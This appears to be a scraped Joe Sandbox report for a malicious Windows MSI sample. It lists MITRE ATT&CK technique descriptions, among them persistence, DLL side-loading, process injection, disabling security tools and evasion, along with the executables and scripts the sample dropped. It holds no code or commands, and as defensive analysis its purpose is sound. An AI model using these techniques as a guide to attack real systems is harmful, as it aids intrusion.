Snapshot File: hcaresult_26_2_dd9000_windows10.jbxd

Similarity

API ID: __getptd$__amsg_exit
String ID: csm
API String ID: 1969926928-1018135373
Opcode ID: 9d7e085454ab6c2d7cb152083fa03de183894ad01705aed6babd743c65a25248
Instruction ID: 943cd32bffdbee09ee8809bbc1cdcd1df01da6c9c31e4abe57d365ab56c178ab
Opcode Fuzzy Hash: 9d7e085454ab6c2d7cb152083fa03de183894ad01705aed6babd743c65a25248
Instruction Fuzzy Hash: 5C014B358017859FDF34AFA7D4446ADB7B5AF24311F18446EE04056292CB309AC0DF71

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hBqTrQLya4.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\49d149.rbs

C:\Users\user\AppData\Local\Temp\MSI9cfef.LOG

C:\Users\user\Documents\Windows10.cmd

C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll

C:\Users\user\Pictures\fotosdaviagem\cdburner.md

C:\Users\user\Pictures\fotosdaviagem\cdburnerConnect

C:\Users\user\Pictures\fotosdaviagem\cont.cmd

C:\Users\user\Pictures\fotosdaviagem\settings.xml

C:\Users\user\Pictures\fotosdaviagem\windows10.exe

C:\Windows\Installer\49d147.msi

C:\Windows\Installer\MSID686.tmp

C:\Windows\Installer\MSID6F5.tmp

C:\Windows\Installer\MSID754.tmp

C:\Windows\Installer\MSID783.tmp

C:\Windows\Installer\MSID7D3.tmp

C:\Windows\Installer\MSID8CE.tmp

C:\Windows\Installer\MSIDD62.tmp

Windows Analysis Report
hBqTrQLya4.msi

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre